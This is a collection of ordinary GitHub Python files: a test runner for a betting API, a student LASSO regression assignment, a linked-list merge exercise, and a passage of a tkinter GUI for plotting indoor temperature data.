+{"seq_id":"30123379152","text":"import sys\nimport requests\nfrom bet_test import bet_one_test, bet_two_test\nfrom log_module import write_log_file, print_log, append_to_log\n\nurl = \"http://\" + requests.get(\"http://169.254.169.254/latest/meta-data/public-hostname\").text + \":5000/bet\"\n\nTESTS = [bet_one_test, bet_two_test]\nlog = \"\" \n\nif __name__ == '__main__':\n    for test in TESTS:\n        result = test(url)\n        print_log(result)\n        log = append_to_log(log, result)\n    if log == \"\":\n        sys.exit(0)\n    else:\n        write_log_file(log)\n        sys.exit(1)\n\n","repo_name":"marbad1994/BonusBetApi","sub_path":"tests/test_runner.py","file_name":"test_runner.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29436735133","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nnp.random.seed(0)\n#############################################################################\n# ***************************************************************************\n# you should create you own LASSO algorithm in the location specified below\n# ***************************************************************************\n#############################################################################\n\n#############################################################################\n# The function to generate the dataset\ndef generate_dataset(n,W,b=0):\n    #x_batch = np.linspace(0, 2, n)\n    x_batch = np.random.randn(n,W.shape[0])\n    y_batch =  x_batch.dot(W) + b + np.random.randn(n)*2\n    return x_batch, y_batch\n\n#############################################################################\n# Preparing the dataset for linear regression\n# The dimension of the dataset\nn = 30\n# The weight of the linear model y = Bx\nBeta_true = np.array([10, -2, 0, -3, 0, 5, 0, 0])\nx_batch, y_batch = generate_dataset(n,Beta_true)\n\n#############################################################################\n# Here you create you own LASSO algorithm for the linear regression model\n# Hint: please check the slides of the gradient descent (1.5, the 7th to 14th page)\n#############################################################################\n\"\"\"\nnotes:\np=7\nn= 30\ny size = n x 1 = [30 x 1]\nX size = n x (p+1) = [30 x 8] ?\nbeta size = (p+1) x 1 = [8 x 1]\n\"\"\"\n\ndef lasso_regression(parmsl, lamda, x_batch, y_batch):\n\n    betas = parmsl\n    def soft_threshold(a, b):\n        #could be g from slide 14\n        #or beta from slide 15\n        if a > b:\n            return a - b\n        elif a < -b:\n            return a + b\n        else:\n            return 0\n  \n    #define cost function with L1 regulariation\n    cost_b4_l1 = (1/2) *  np.sum(   (y_batch - (np.sum(np.dot(x_batch , betas)))) **2   )\n    L1_Regularization = lamda * np.sum(np.abs(betas))\n    cost = cost_b4_l1  +  L1_Regularization\n\n   \n    new_betas = []\n    for i in range(len(betas)):\n        XiT = x_batch[:,i].T\n        X_i = np.delete(x_batch,i,1)\n        B_i = np.delete(betas,i)\n        y = y_batch\n        Xi = x_batch[:,i]\n\n\n        gi =  np.dot(XiT , (y - np.dot(X_i , B_i) )) / np.dot(XiT , Xi) \n\n\n        z = lamda / np.linalg.norm(Xi)**2\n\n        new_beta = soft_threshold(gi, z)\n        new_betas.append(new_beta)\n\n\n    weights = np.array(new_betas)\n    weight_next = weights\n\n    return cost, weight_next\n    \n    \n\n\n    #define prediction\n    y_pred = np.dot(x_batch, betas)\n\n    #define cost function with L1 regulariation\n    cost_b4_l1 = (1/2) *  np.sum(   (y_batch - (np.sum(x_batch * betas))) **2   )\n    L1_Regularization = lamda * np.sum(np.abs(betas))\n    cost = cost_b4_l1  +  L1_Regularization\n\n    #define derivtive\n    dcost = np.dot(x_batch.T, y_pred - y_batch) + lamda * np.sign(betas)\n\n    #calcualte new betas\n    new_betas = betas - 0.0001  * dcost\n    \n    weights = np.array(new_betas)\n    weight_next = weights\n\n    #return cost, weight_next\n\n\n\n\n#############################################################################\n\n\n#############################################################################\n#                       Main Function\n#############################################################################\n# Hyper-parameters\ntraining_epochs = 1000\nweight_var = 1\n#beta = np.random.randn(*Beta_true.shape)*weight_var\nbeta = np.zeros(*Beta_true.shape)\n\n\ncost1 = 0\ncost2 = 0\ncost3 = 0\n\n#lamda = 0.0001\nlamda1 = 30\nbeta_show1 = np.zeros((training_epochs,Beta_true.shape[0]))\nlamda2 = 3\nbeta_show2 = np.zeros((training_epochs,Beta_true.shape[0]))\nlamda3 = 0.0001\nbeta_show3 = np.zeros((training_epochs,Beta_true.shape[0]))\n\n#############################################################################\n# Learning three lasso models given different lambda values\n\nbeta1 = beta\nfor epoch in range(training_epochs):   \n    beta_show1[epoch] = beta1\n    cost, beta_next = lasso_regression(beta1,lamda1,x_batch,y_batch)\n    #print('Epoch %3d, cost %.3f, beta[0] %.3f beta[1] is %.3f' % (epoch+1,cost,beta1[0],beta1[1]))\n    beta1 = beta_next\ncost1 = cost\nprint(beta1, \" \")\n\n\nbeta2 = beta\nprint(beta)\nfor epoch in range(training_epochs):   \n    beta_show2[epoch] = beta2\n    cost, beta_next = lasso_regression(beta2,lamda2,x_batch,y_batch)\n    #print('Epoch %3d, cost %.3f, beta[0] %.3f beta[1] is %.3f' % (epoch+1,cost,beta2[0],beta2[1]))\n    beta2 = beta_next\ncost2 = cost\nprint(beta2, \" \")\n\n\nbeta3 = beta\nfor epoch in range(training_epochs):   \n    beta_show3[epoch] = beta3\n    cost, beta_next = lasso_regression(beta3,lamda3,x_batch,y_batch)\n    #print('Epoch %3d, cost %.3f, beta[0] %.3f beta[1] is %.3f' % (epoch+1,cost,beta3[0],beta3[1]))\n    beta3 = beta_next\ncost3 = cost\nprint(beta3, \"  \")\n\n\n#############################################################################\n# Visualizing the dataset and the learned lasso model\n\nfig, _axs = plt.subplots(nrows=1, ncols=3)\naxs = _axs.flatten()\n\ntitle_str = r'$\\lambda$ %.2f, cost %.2f' % (lamda1,cost1)\naxs[0].grid(True)\naxs[0].set_title(title_str)\naxs[0].semilogx(beta_show1)\naxs[0].legend(('Beta0', 'Beta1', 'Beta2','Beta3', 'Beta4', 'Beta5','Beta6', 'Beta7'),\n           loc='upper center')\n\ntitle_str = r'$\\lambda$ %.2f, cost %.2f' % (lamda2,cost2)\naxs[1].grid(True)\naxs[1].set_title(title_str)\naxs[1].semilogx(beta_show2)\n\ntitle_str = r'$\\lambda$ %.4f, cost %.2f' % (lamda3,cost3)\naxs[2].grid(True)\naxs[2].set_title(title_str)\naxs[2].semilogx(beta_show3)\n\nplt.show()\n\n\n\n","repo_name":"MaxSokolich/ModernMachineLearning_ELEG845","sub_path":"1-Mod 1-Linear_Regression Slides_ELEG867/Computer Assignment Module 1(Python+Matlab)/Lasso Regression via Coordinate Descent/lasso_regression_sokolich.py","file_name":"lasso_regression_sokolich.py","file_ext":"py","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33334136251","text":"\"\"\"\nMerge two sorted linked lists and return it as a new sorted list. The new list should be made by splicing together the\nnodes of the first two lists.\n\n\"\"\"\n\n\nclass Node:\n    def __init__(self, data):\n        self.data = data\n        self.next = None\n\n\nclass LinkedList:\n    def __init__(self):\n        self.head = None\n\n    def printList(self):\n        temp = self.head\n        while temp:\n            print(temp.data, end=\" \")\n            temp = temp.next\n\n    def addToList(self, newData):\n        newNode = Node(newData)\n        if self.head is None:\n            self.head = newNode\n            return\n\n        last = self.head\n        while last.next:\n            last = last.next\n\n        last.next = newNode\n\n\ndef mergeLists(headA, headB):\n    dummyNode = Node(0)\n\n    # Tail stores the last node\n    tail = dummyNode\n    while True:\n\n        if headA is None:\n            tail.next = headB\n            break\n        if headB is None:\n            tail.next = headA\n            break\n\n        # Compare the data of the lists and whichever is smaller\n        # is appended to the last of the merged lists and the head is changed\n        if headA.data <= headB.data:\n            tail.next = headA\n            headA = headA.next\n        else:\n            tail.next = headB\n            headB = headB.next\n\n        tail = tail.next\n\n    return dummyNode.next\n\n\n# Create two lists\nlistA = LinkedList()\nlistB = LinkedList()\n\nlistA.addToList(1)\nlistA.addToList(2)\nlistA.addToList(4)\n\nlistB.addToList(1)\nlistB.addToList(3)\nlistB.addToList(4)\n\nlistA.head = mergeLists(listA.head, listB.head)\nprint(\"Merged linked list: \")\nlistA.printList()\n\n#### Create a second text example\nlistC = LinkedList()\nlistD = LinkedList()\n\nlistC.addToList(3)\nlistC.addToList(8)\nlistC.addToList(10)\nlistD.addToList(5)\nlistD.addToList(11)\nlistD.addToList(12)\n\nlistC.head = mergeLists(listC.head, listD.head)\nprint(\"\\n\")\nprint(\"Merged linked list of listC = [3, 8, 10] & listD = [5, 11, 12]\")\nlistC.printList()\n\n\n\n\n","repo_name":"Simonbergsten/AlgorithmsPython","sub_path":"Algorithms/mergeTwoSortedLists.py","file_name":"mergeTwoSortedLists.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39817170912","text":"# Author: Kaifeng ZHU\n# First Creation: 2023/1/6\n# This file is for implementing GUI\n\nimport tkinter as tk\nimport tkinter.messagebox as msgbox\nfrom tkinter import filedialog\nfrom Analysis import *\nimport os\nfrom tkcalendar import DateEntry\nfrom tkinter import ttk\nimport copy\nfrom ComBoPicker import Combopicker\n\nclass DataPlotting(tk.Tk):\n    def __init__(self):\n        \"\"\"\n        This class is for GUI.\n        \"\"\"\n        super().__init__()\n\n        # Set the title of the main window\n        self.title(\"Indoor Temperature Plotting\")\n\n        # Set the size of the main window.\n        self.width = 1400\n        self.height = 550\n        size_geo = '%dx%d+%d+%d' % (self.width, self.height,\n                     (self.winfo_screenwidth()-self.width)/2,\n                     (self.winfo_screenheight()-self.height)/2)\n        self.geometry(size_geo)\n\n        # Change the background colour.\n        self.config(background=\"#F57C00\")\n        # Set the transparency of the window.\n        self.attributes('-alpha',1)\n        # Change the icon in the top left corner of the window \n        self.iconbitmap('.\\\\Tower.ico')\n\n        # Set the software title.\n        self.title_size = self.winfo_width() // 20\n        software_title=tk.Label(self, text=\"Indoor Temperature Plotting\",\n                                 bg=\"#FF9800\", fg=\"#FFE0B2\",\n                                 font=('Times', f\"{self.title_size}\",\n                                 'bold italic'))\n        software_title.pack(side=tk.TOP)\n\n        # Indicate the status of analysis.\n        self.status_list = [\"Analysis is not created !!!\",\n                            \"Outdoor temperature file is not added !!!\",\n                             \"Plotting is ready.\"]\n        self.status = tk.StringVar()\n        self.status.set(self.status_list[0])\n\n        # Initialize the original directories.\n        self.directory = tk.StringVar()\n        self.output_dir = tk.StringVar()\n        self.directory.set(os.path.abspath(\".\"))\n        self.output_dir.set(os.path.abspath(\".\"))\n\n        # Initialize start date and end date.\n        self.start_date = tk.StringVar()\n        self.start_date.set('2022-06-14')\n        self.end_date = tk.StringVar()\n        self.end_date.set('2022-7-23')\n\n        # Initialize start time and end time.\n        self.start_time = tk.StringVar()\n        self.start_time.set('09:00')\n        self.end_time = tk.StringVar()\n        self.end_time.set('18:00')\n\n        # Create a PanedWindow for storing other PanedWindow.\n        self.p_control = tk.PanedWindow(self, orient=tk.VERTICAL,\n                                         bg='#FF9800')\n        self.p_control.pack(fill=tk.NONE, expand=1, side=tk.TOP, anchor=\"n\")\n\n        # Create a PanedWindow for creating the analysis.\n        self.p_create = tk.PanedWindow(self, bg='#FF9800')\n        self.p_control.add(self.p_create)\n\n        # -----------------\n        # For choosing target directory.\n        # ----------------\n        tfd_label = tk.Label(self.p_create, text=\"Target File Directory:\",\n                             bg=\"#FF9800\", fg=\"#757575\",\n                             font=('Times', 15, 'bold'))\n        tfd_label.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n        # Directory Entry\n        directory_entry = tk.Entry(self.p_create, textvariable=self.directory,\n                                 state=\"readonly\", background=\"#FF9800\",\n                                 foreground=\"#757575\",\n                                 readonlybackground=\"#FF9800\")\n        directory_entry.pack(fill=tk.X, side=tk.LEFT, padx=20, pady=20)\n        # Choose button\n        choose_dir_btn = tk.Button(self.p_create, text=\"Choose Directory\",\n                                 command=self.select_directory_input,\n                                 bg=\"#FF9800\", fg=\"#FFF9C4\",\n                                 font=('Times', 10, 'bold'))\n        choose_dir_btn.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n\n        # -------------\n        # For choosing output directory\n        # -------------\n        output_label = tk.Label(self.p_create, text=\"Output File Directory:\",\n                                 bg=\"#FF9800\", fg=\"#757575\",\n                                  font=('Times', 15, 'bold'))\n        output_label.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n        # Output directory Entry\n        output_entry = tk.Entry(self.p_create, textvariable=self.output_dir,\n                                 state=\"readonly\", background=\"#FF9800\",\n                                 foreground=\"#757575\",\n                                 readonlybackground=\"#FF9800\")\n        output_entry.pack(fill=tk.X, side=tk.LEFT, padx=20, pady=20)\n        # Choose button\n        output_choose_dir_btn = tk.Button(self.p_create,\n                                 text=\"Choose Directory\",\n                                 command=self.select_directory_output,\n                                 bg=\"#FF9800\", fg=\"#FFF9C4\",\n                                 font=('Times', 10, 'bold'))\n        output_choose_dir_btn.pack(fill=tk.NONE, side=tk.LEFT,\n                                     padx=20, pady=20)\n\n        # Initialize the analysis name.\n        self.analysis_name = tk.StringVar()\n        self.analysis_name.set(\"New Analysis\")\n        # Create analysis button\n        create_analysis_btn = tk.Button(self.p_create, text=\"Create Analysis\",\n                                        command=self.initialize_analysis,\n                                        bg=\"#FF9800\", fg=\"#212121\",\n                                        font=('Times', 10, 'bold'))\n        create_analysis_btn.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n\n        # -------------\n        # Input the outdoor temperature.\n        # ------------\n        self.p_outdoor = tk.PanedWindow(self, bg='#FF9800')\n        self.p_control.add(self.p_outdoor)\n\n        # Create a variable for storing the outdoor temperature csv directory.\n        self.outdoor_temp_dir = tk.StringVar()\n        # Set the default value.\n        self.outdoor_temp_dir.set(\"Please Choose.\")\n        # Show the outdoor_temperature directory.\n        outdoor_label = tk.Label(self.p_outdoor,\n                         text=\"Outdoor Temperature Directory:\",\n                         bg=\"#FF9800\", fg=\"#757575\",\n                         font=('Times', 15, 'bold'))\n        outdoor_label.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n        outdoor_temp_entry = tk.Entry(self.p_outdoor,\n                             textvariable=self.outdoor_temp_dir,\n                             state=\"readonly\", background=\"#FF9800\",\n                             foreground=\"#757575\",\n                             readonlybackground=\"#FF9800\", width=40)\n        outdoor_temp_entry.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n        # Button used to choose outdoor temperature file.\n        outdoor_temp_btn = tk.Button(self.p_outdoor, text=\"Choose Directory\",\n                             command=self.select_outdoor_temp_input,\n                             bg=\"#FF9800\", fg=\"#FFF9C4\",\n                             font=('Times', 10, 'bold'))\n        outdoor_temp_btn.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n        # Add outdoor temperature df into the analysis.\n        add_outdoor_temp_btn = tk.Button(self.p_outdoor,\n                     text=\"Add Outdoor Temperature datas into the Analysis\",\n                     command=self.add_outdoor_temperature_df, bg=\"#FF9800\",\n                     fg=\"#FFE0B2\", font=('Times', 10, 'bold'))\n        add_outdoor_temp_btn.pack(fill=tk.NONE, side=tk.LEFT,\n                                 padx=20, pady=20)\n\n        # ------------\n        # Plot Graphs.\n        # ------------\n        # Create a PanedWindow for choosing the start date and time.\n        self.p_dt = tk.PanedWindow(self, bg='#FF9800')\n        self.p_control.add(self.p_dt)\n\n        self.p_dt_start = tk.PanedWindow(self, bg='#FF9800')\n        self.p_dt.add(self.p_dt_start)\n        # Choose start and end dates.\n        # Showing start date.\n        start_date_indicator = tk.Label(self.p_dt_start, text=\"Start Date:\",\n                                     bg=\"#FF9800\", fg=\"#757575\",\n                                     font=('Times', 15, 'bold'))\n        start_date_indicator.pack(fill=tk.NONE, side=tk.LEFT,\n                                 padx=20, pady=20)\n        start_date_label = tk.Label(self.p_dt_start,\n                                    textvariable=self.start_date,\n                                    bg=\"#FF9800\", fg=\"#FFF9C4\",\n                                    font=('Times', 13, 'bold'))\n        start_date_label.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n        # Showing start time.\n        start_time_indicator = tk.Label(self.p_dt_start, text=\"Start time:\",\n                                         bg=\"#FF9800\", fg=\"#757575\",\n                                         font=('Times', 15, 'bold'))\n        start_time_indicator.pack(fill=tk.NONE, side=tk.LEFT, \n                                    padx=20, pady=20)\n        start_time_label = tk.Label(self.p_dt_start, \n                                    textvariable=self.start_time,\n                                    bg=\"#FF9800\", fg=\"#FFF9C4\",\n                                    font=('Times', 13, 'bold'))\n        start_time_label.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n        # Choose start date and time.\n        start_dt_btn = tk.Button(self.p_dt_start, \n                                    text=\"Choose start date & time\", \n                                    command=self.choose_start_date_and_time,\n                                    bg=\"#FF9800\", fg=\"#FFF9C4\", \n                                    font=('Times', 10, 'bold'))\n        start_dt_btn.pack(fill=tk.NONE, side=tk.LEFT, \n                                    padx=20, pady=20)\n\n        # Create a PanedWindow for choosing the end date and time.\n        self.p_dt_end = tk.PanedWindow(self, bg='#FF9800')\n        self.p_dt.add(self.p_dt_end)\n        # Showing end date.\n        end_date_indicator = tk.Label(self.p_dt_end, text=\"End Date:\", \n                                        bg=\"#FF9800\", fg=\"#757575\", \n                                        font=('Times', 15, 'bold'))\n        end_date_indicator.pack(fill=tk.NONE, side=tk.LEFT, \n                                        padx=20, pady=20)\n        end_date_label = tk.Label(self.p_dt_end, textvariable=self.end_date, \n                                    bg=\"#FF9800\", fg=\"#FFF9C4\", \n                                    font=('Times', 13, 'bold'))\n        end_date_label.pack(fill=tk.NONE, side=tk.LEFT, \n                            padx=20, pady=20)\n        # Showing start time.\n        end_time_indicator = tk.Label(self.p_dt_end, text=\"End time:\", \n                                    bg=\"#FF9800\", fg=\"#757575\", \n                                    font=('Times', 15, 'bold'))\n        end_time_indicator.pack(fill=tk.NONE, side=tk.LEFT, \n                                padx=20, pady=20)\n        end_time_label = tk.Label(self.p_dt_end, textvariable=self.end_time, \n                                bg=\"#FF9800\", fg=\"#FFF9C4\", \n                                font=('Times', 13, 'bold'))\n        end_time_label.pack(fill=tk.NONE, side=tk.LEFT, \n                            padx=20, pady=20)\n        # Choose start date and time.\n        end_dt_btn = tk.Button(self.p_dt_end, text=\"Choose end date & time\",\n                                command=self.choose_end_date_and_time, \n                                bg=\"#FF9800\", fg=\"#FFF9C4\", \n                                font=('Times', 10, 'bold'))\n        end_dt_btn.pack(fill=tk.NONE, side=tk.LEFT, padx=20, pady=20)\n\n        # Create a PanedWindow for plotting.\n        self.p_plot = tk.PanedWindow(self, bg='#FF9800')\n        self.p_control.add(self.p_plot)\n        # Choose plotting df names.\n        self.plot_df = tk.StringVar()\n        self.plot_df.set(\"Create an analysis first!\")\n        self.df_names = []\n        choose_plot_name_label = tk.Label(self.p_plot,\n                                         text=\"The name of csv for Plotting\",\n                                         bg=\"#FF9800\", fg=\"#757575\",\n                                         font=('Times', 15, 'bold'))\n        choose_plot_name_label.pack(fill=tk.NONE, side=tk.LEFT,\n                                    padx=20, pady=20, anchor=\"center\")\n        choose_plot_name_entry = tk.Entry(self.p_plot,\n                                         textvariable=self.plot_df,\n                                         state=\"readonly\",\n                                         background=\"#FF9800\",\n                                         foreground=\"#757575\",\n                                         readonlybackground=\"#FF9800\")\n        choose_plot_name_entry.pack(fill=tk.NONE, side=tk.LEFT,\n                                     padx=20, pady=20, anchor=\"center\")\n        choose_plot_name_btn = tk.Button(self.p_plot,\n                                         text=\"Choose plotting dataframe\",\n                                         command=self.choose_plotting_df_name,\n                                         bg=\"#FF9800\", fg=\"#FFF9C4\",\n                                         font=('Times', 10, 'bold'))\n        choose_plot_name_btn.pack(fill=tk.NONE, side=tk.LEFT,\n                                 padx=20, pady=20, anchor=\"center\")\n        # Create plotting for common.\n        plot_each_day_btn = tk.Button(self.p_plot,\n                         text=\"Plot Temperature vs Time in different date\",\n                         command=self.plotting_each_day, bg=\"#FF9800\",\n                         fg=\"#212121\", font=('Times', 10, 'bold'))\n        plot_each_day_btn.pack(fill=tk.NONE, side=tk.RIGHT,\n                             padx=20, pady=20, anchor=\"center\")\n        plot_average_btn = tk.Button(self.p_plot,\n                         text=\"Plot Day Average Temperature vs Date\", \n                         command=self.plotting_average, bg=\"#FF9800\", \n                         fg=\"#212121\", font=('Times', 10, 'bold'))\n        plot_average_btn.pack(fill=tk.NONE, side=tk.RIGHT,\n                             padx=20, pady=20, anchor=\"center\")\n        # Create plotting with recommendations.\n        self.p_reco = tk.PanedWindow(self, bg='#FF9800')\n        self.p_control.add(self.p_reco)\n        # Botton for plotting with recommended range.\n        self.plot_text_1 = \\\n          \"Plot Temperature vs Time in different date with recommended range\"\n        self.plot_text_2 = \\\n            \"Plot Day Average Temperature vs Date with recommended range\"\n        reco_each_day_btn = tk.Button(self.p_reco, text=self.plot_text_1,\n                                 command=self.plotting_each_day_with_reco,\n                                 bg=\"#FF9800\", fg=\"#212121\",\n                                 font=('Times', 10, 'bold'))\n        reco_each_day_btn.pack(fill=tk.NONE, side=tk.RIGHT,\n                                 padx=20, pady=20, anchor=\"center\")\n        reco_average_btn = tk.Button(self.p_reco, text=self.plot_text_2, \n                                command=self.plotting_average_with_reco, \n                                bg=\"#FF9800\", fg=\"#212121\", \n                                font=('Times', 10, 'bold'))\n        reco_average_btn.pack(fill=tk.NONE, side=tk.RIGHT, \n                                padx=20, pady=20, anchor=\"center\")\n\n\n        # -------------\n        # Quit button and status.\n        # ------------\n        self.p_bottom = tk.PanedWindow(self, bg=\"#F57C00\")\n        self.p_control.add(self.p_bottom)\n        goodbye_button = tk.Button(self.p_bottom, text=\"Quit\",\n                                    command=self.say_goodbye, \n                                    bg=\"#FF9800\", fg=\"#FFE0B2\", \n                                    font=('Times', 10, 'bold'))\n        goodbye_button.pack(side=tk.RIGHT, padx=(0, 20), pady=(0, 20))\n        status_label = tk.Label(self.p_bottom, text=\"Status:\", \n                                bg=\"#F57C00\", fg=\"#757575\", \n                                font=('Times', 15, 'bold'))\n        status_label.pack(side=tk.LEFT, padx=(0, 20), pady=(0, 20))\n        status_display = tk.Label(self.p_bottom, textvariable=self.status, \n                                bg=\"#F57C00\", fg=\"#757575\", \n                                font=('Times', 15, 'bold'))\n        status_display.pack(side=tk.LEFT, padx=(0, 20), pady=(0, 20))\n\n    def select_directory_input(self):\n        \"\"\"\n        This function is for selecting directory.\n        \"\"\"\n        path = filedialog.askdirectory()\n        if path == \"\":\n            self.directory.get()\n        else:\n            path = path.replace(\"/\", \"\\\\\")   \n            self.directory.set(path)\n        # Make sure all the files in the chosen directory are csv files.\n        for file in os.listdir(path):\n            if file.find(\".csv\") == -1:\n                if file.find(\".CSV\") == -1:\n                    info = 'Please choose directory again.' + \\\n                    'All the files in the chosen directory ' + \\\n                    'must be csv files. (.csv or .CSV)'\n                    msgbox.showwarning(\"Warning\", info)\n                    return None\n\n        info = f\"The target directory:\\n{self.directory.get()}\"\n        msgbox.showinfo(\"Target Directory\", info)\n\n    def select_outdoor_temp_input(self):\n        \"\"\"\n        This function is for selecting the outdoor temperature csv file.\n        \"\"\"\n        Filepath = filedialog.askopenfilename()\n        self.outdoor_temp_dir.set(Filepath)\n\n        info = f\"Outdoor Temperature Directory:\\n{self.outdoor_temp_dir.get()}\"\n        msgbox.showinfo(\"Outdoor Temperature Directory\", info)\n\n    def initialize_analysis(self):\n        \"\"\"\n        This function is for initializing analysis.\n        \"\"\"\n        # Create analysis.\n        name = self.analysis_name.get()\n        # Make sure all the files in the chosen directory are csv files.\n        for file in os.listdir(self.directory.get()):\n            if file.find(\".csv\") == -1:\n                if file.find(\".CSV\") == -1:\n                    info = 'Please choose the target directory again.' + \\\n                    'All the files in the chosen directory ' + \\\n                    'must be csv files. (.csv or .CSV)'\n                    msgbox.showwarning(\"Warning\", info)\n                    return None\n        self.analysis = Analysis(name, self.directory.get())\n        this_analysis = self.analysis\n        # Read csv files.\n        this_analysis.read_csv_to_df()\n        # Transform Date&Time column to datetime.\n        this_analysis.transfer_to_datetime()\n        # Create Date and Time columns.\n        this_analysis.seperate_date_and_time()\n        # Calculate day average.\n        this_analysis.calculate_average()\n        # Get the df_names.\n        self.df_names = this_analysis.df_names\n        # Set the default plotting name.\n        self.plot_df.set(\"All\")\n        # Set the status.\n        self.status.set(self.status_list[1])\n        # Show info.\n        msgbox.showinfo(\"Reminder\", \"Analysis created successfully!\")\n\n    def add_outdoor_temperature_df(self):\n        \"\"\"\n        This function is for adding outdoor temperature dataframe to analysis.\n        \"\"\"\n        # Make sure there is a target directory.\n        if self.outdoor_temp_dir.get() == \"Please Choose.\":\n            info = \"Please choose the outdoor temperature csv first.\"\n            msgbox.showwarning(\"Warning\", info)\n        # Make sure a analysis is created.\n        elif self.status.get() == self.status_list[0]:\n            info = \"Please create an analysis first.\"\n            msgbox.showwarning(\"Warning\", info)\n        else:\n            outdoor_temp_df = pd.read_csv(self.outdoor_temp_dir.get(),\n                                             encoding='gbk')\n            self.analysis.outdoor_temp_df = outdoor_temp_df\n            self.analysis.transfer_to_datetime(is_outdoor_temp=True)\n            self.status.set(self.status_list[2])\n            info = \"Outdoor Temperature Data added successfully!\"\n            msgbox.showinfo(\"Reminder\", info)\n\n    def choose_start_date_and_time(self):\n        \"\"\"\n        This function is for choosing date and time.\n        \"\"\"\n        # Get the date and time from the class attributes.\n        date = self.start_date\n        time = self.start_time\n        hour = tk.StringVar()\n        minute = tk.StringVar()\n        time_list = self.start_time.get().split(\":\")\n        hour.set(time_list[0])\n        minute.set(time_list[1])\n        \n        # Get the values used to choose for time.\n        (values_h, values_t) = self.get_h_and_m_list()\n\n        def set_start_date(self):\n            \"\"\"\n            This function is used for setting the start date.\n            \"\"\"\n            date.set(str(cal.get_date()))\n\n        def set_start_hour(self):\n            \"\"\"\n            This function is for setting start hour.\n            \"\"\"\n            hour.set(hour_box.get())\n            time_str = hour.get() + \":\" + minute.get()\n            time.set(time_str)\n\n        def set_start_minute(self):\n            \"\"\"\n            This function is for setting start minute.\n            \"\"\"\n            minute.set(minute_box.get())\n            time_str = hour.get() + \":\" + minute.get()\n            time.set(time_str)\n        \n        # Create upper window.\n        top = tk.Toplevel(self, bg='#FF9800')\n        # Change the icon in the top left corner of the window \n        top.iconbitmap('.\\\\Tower.ico')\n        top_width = self.winfo_screenwidth() / 2.7\n        top_height = self.winfo_screenheight() / 5\n        top_left = (self.winfo_screenwidth() - top_width) / 2\n        top_top = (self.winfo_screenheight() - top_height) / 2\n        top.geometry(\"%dx%d+%d+%d\" % (top_width,top_height,top_left,top_top))\n        ttk.Label(top, text='Choose start date and time', \n                font=(\"Times\", 22, \"bold\"), background='#FF9800', \n                foreground=\"#757575\").pack(padx=10, pady=10)\n        ttk.Label(top, text=\"Date:\", font=(\"Times\", 20), \n                foreground=\"#757575\", \n                background='#FF9800').pack(side=tk.LEFT, \n                            padx=(20, 0), pady=(0, 20))\n        # The widget for date selection.\n        cal = DateEntry(top, width=8, height=15, \n                        background='#F57C00', font=(\"Times\", 20),\n                        foreground='white', borderwidth=2, \n                        year=2022, month=6, day=14)\n        # Set the default date.\n        # cal.set_date(dt.date(2022, 6, 14))\n        cal.pack(side=tk.LEFT, padx=(20, 0), pady=(0, 20))\n\n        # Bind the DateEntrySelected event with set_start_date function.\n        cal.bind(\"<<DateEntrySelected>>\", set_start_date)\n        \n        ttk.Label(top, text=\"Time:\", font=(\"Times\", 20), \n                foreground=\"#757575\", background='#FF9800')\\\n                .pack(side=tk.LEFT, padx=(20, 0), pady=(0, 20))\n\n        # The Combobox for choosing the hour.\n        hour_box = ttk.Combobox(\n            master=top,  \n            height=15,  \n            width=3,  \n            state=\"normal\",  \n            cursor=\"arrow\",  \n            font=(\"\", 20),  \n            values=values_h, \n            textvariable=hour)\n        hour_box.pack(side=tk.LEFT, padx=(20, 0), pady=(0, 20))\n        # Bind this event with function.\n        hour_box.bind(\"<<ComboboxSelected>>\", set_start_hour)\n        # : text.\n        ttk.Label(top, text=\":\", font=(\"\", 20), foreground=\"#757575\", \n                background='#FF9800').pack(side=tk.LEFT, \n                                        padx=(20, 0), pady=(0, 20))\n        # The Combobox for choosing the minute.\n        minute_box = ttk.Combobox(\n            master=top,  \n            height=15,  \n            width=3,  \n            state=\"normal\",  \n            cursor=\"arrow\",  \n            font=(\"\", 20),  \n            values=values_t,  \n            textvariable=minute)\n        minute_box.pack(side=tk.LEFT, padx=(20, 0), pady=(0, 20))\n        # Bind this event with function.\n        minute_box.bind(\"<<ComboboxSelected>>\", set_start_minute)\n\n        # Store date and time into the class attribute.\n        self.start_date = date\n        self.start_time = time\n\n    def choose_end_date_and_time(self):\n        \"\"\"\n        This function is for choosing end date and time.\n        \"\"\"\n        # Get the date and time from the class attributes.\n        date = self.end_date\n        time = self.end_time\n        hour = tk.StringVar()\n        minute = tk.StringVar()\n        time_list = self.end_time.get().split(\":\")\n        hour.set(time_list[0])\n        minute.set(time_list[1])\n        \n        # Get the values used to choose for time.\n        (values_h, values_t) = self.get_h_and_m_list()\n\n        def set_end_date(self):\n            \"\"\"\n            This function is used for setting the end date.\n            \"\"\"\n            date.set(str(cal.get_date()))\n            \n        def set_end_hour(self):\n            \"\"\"\n            This function is for setting end hour.\n            \"\"\"\n            hour.set(hour_box.get())\n            time_str = hour.get() + \":\" + minute.get()\n            time.set(time_str)\n            \n        def set_end_minute(self):\n            \"\"\"\n            This function is for setting start minute.\n            \"\"\"\n            minute.set(minute_box.get())\n            time_str = hour.get() + \":\" + minute.get()\n            time.set(time_str)\n\n        # Create upper window.\n        top = tk.Toplevel(self, bg='#FF9800')\n        top.iconbitmap('.\\\\Tower.ico')\n        top_width = self.winfo_screenwidth() / 2.7\n        top_height = self.winfo_screenheight() / 5\n        top_left = (self.winfo_screenwidth() - top_width) / 2\n        top_top = (self.winfo_screenheight() - top_height) / 2\n        top.geometry(\"%dx%d+%d+%d\" % (top_width,top_height,top_left,top_top))\n        ttk.Label(top, text='Choose end date and time', \n                    